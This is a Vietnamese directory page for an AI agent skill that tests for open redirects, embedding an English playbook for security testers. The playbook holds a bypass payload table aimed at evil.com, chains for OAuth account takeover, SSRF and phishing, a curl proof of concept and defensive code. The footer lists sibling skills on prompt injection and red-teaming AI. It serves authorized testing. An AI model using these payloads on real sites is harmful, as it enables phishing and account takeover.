open-redirect
Skill này làm gì
Skill này dạy agent cách tìm các tham số chuyển hướng gửi người dùng đến trang bên ngoài. Dành cho người kiểm thử bảo mật kiểm tra các tính năng đăng nhập, đăng xuất và liên kết quay về.
Khi nào nên dùng
- ✓Khi một trang có tham số next, return hoặc redirect trong liên kết và bạn muốn kiểm tra nó.
- ✓Khi luồng OAuth hoặc đăng nhập gửi người dùng đến địa chỉ quay về lấy từ URL.
- ✓Khi bạn muốn kiểm tra xem bộ lọc chuyển hướng có thể bị vượt qua bằng mã hóa hoặc thủ thuật không.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/open-redirect/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Bạn có thể kiểm tra xem trang đăng nhập trên website của tôi có thể gửi người dùng đến bất kỳ trang web bên ngoài nào sau khi đăng nhập không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent thử nhiều dạng địa chỉ, như dấu gạch chéo kép, ký tự đã mã hóa và tên miền giống hệt, rồi kiểm tra xem máy chủ có gửi người truy cập đến địa chỉ mới không.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Open Redirect Playbook
Standalone open redirect = Low/Informational by itself. Chained: critical (OAuth ATO, SSRF, phishing trust transfer).
1. Common parameters
?next=... ?return=... ?continue=... ?redirect=... ?url=... ?to=...
?goto=... ?destination=... ?back=... ?returnTo=... ?callbackUrl=...
?image_url=... ?file=... ?logout_redirect=... ?success=...
Grep recon URLs / JS for these params.
2. Bypass table
| Technique | Payload |
|---|---|
| Direct | https://evil.com |
| Protocol-relative | //evil.com |
| Triple-slash | ///evil.com |
| Backslash | \\evil.com or /\\evil.com |
| Encoded slash | %2f%2fevil.com |
| Mixed encoded | /%5cevil.com |
| Userinfo | https://target.com@evil.com |
| Whitelist confusion | https://target.com.evil.com (subdomain ends w/ allowed) |
| Path-traversal in fragment | target.com/?redirect=evil.com#@target.com |
| Data URI | data:text/html,<script>location='https://evil.com'</script> |
| Javascript URI | javascript:alert(1) (for XSS upgrade) |
| CRLF injection | redirect=evil.com%0d%0aSet-Cookie:... |
| Punycode | https://xn--80ak6aa92e.com (looks like apple.com) |
| Mixed-case scheme | HTTPS://evil.com |
| Whitespace prefix | %09//evil.com, %20//evil.com |
| URL-encoded null | evil.com%00.target.com |
| Multiple slashes | //////evil.com |
3. Chain patterns
3.1 OAuth redirect_uri extension
Target's OAuth flow validates redirect_uri must be on *.target.com.
You have open-redirect at target.com/redir?to=.... Attacker:
redirect_uri=https://target.com/redir?to=https://evil.com/cb
OAuth server allows the literal target.com host; victim browser follows the 302 → evil.com → code in URL.
3.2 SSRF extension
Target's SSRF protection denies external hosts via DNS pinning. But fetches the URL via redirect. Server-side fetcher visits target.com (allowed), follows 302 to internal IP (no DNS re-resolution).
3.3 Phishing
Send phishing email from attacker domain → click → lands on
target.com/login?next=https://evil-attacker.com/fake-login. After
"login" page redirects to attacker — but URL bar shows target.com for
the first second, building trust.
3.4 Tabnabbing
window.open(URL) w/o noopener,noreferrer → opened tab can navigate
the OPENER (original target tab) to phishing page. Combined w/ open
redirect = full visual takeover of the original target.
4. Tools
- OpenRedireX — fuzz w/ massive payload list
- Burp Intruder w/ payloads from
_corpus/payloads/Open Redirect/ gf(Tomnomnom) patterns to extract redirect params from URLs
5. PoC
curl -s -I "$TARGET/redir?next=https://evil.com" | grep -i Location
# Look for: Location: https://evil.com → confirmed open redirect
6. Severity
| Scenario | Typical |
|---|---|
| Standalone open redirect, no chain | Low 3-4 / Informational |
| Chained w/ OAuth → ATO | Critical 9.0 |
| Chained w/ SSRF bypass → metadata extraction | Critical 9.0 |
| Tabnabbing on high-trust target | Medium 5-6 |
| Phishing-only (no ATO chain) | Low-Medium |
7. Defender
from urllib.parse import urlparse
def safe_redirect(url, allowed_hosts={'target.com'}):
p = urlparse(url)
if not p.netloc: # relative path only
return url if url.startswith('/') and not url.startswith('//') else '/'
if p.netloc in allowed_hosts:
return url
return '/'
# At redirect site:
response.headers['Referrer-Policy'] = 'strict-origin'
target_link.rel = 'noopener noreferrer' # in HTML <a>
Cross-references
- Upstream catalog:
skills/_corpus/payloads/Open Redirect/ - OAuth chain extension:
skills/exploit/web/oauth/SKILL.md - SSRF chain extension:
skills/exploit/web/ssrf.md
Câu hỏi thường gặp
Open redirect có nghiêm trọng khi đứng riêng không?
Skill cho biết nó thường ở mức thấp hoặc chỉ mang tính thông tin khi đứng riêng, nhưng có thể nghiêm trọng khi kết hợp với lỗi đăng nhập hoặc OAuth.
Nó tìm những tên tham số nào?
Nó tìm các tên như next, return, redirect, url, to và callbackUrl.
Nó có bao gồm liên kết javascript không?
Có. Nó nhắc đến URL javascript như một hướng tấn công XSS.
Chi tiết
Mô tả gốc của tác giả
Open redirect + tabnabbing — URL filter bypass, OAuth chain extension, phishing infrastructure-free, SSRF chain.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14074
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.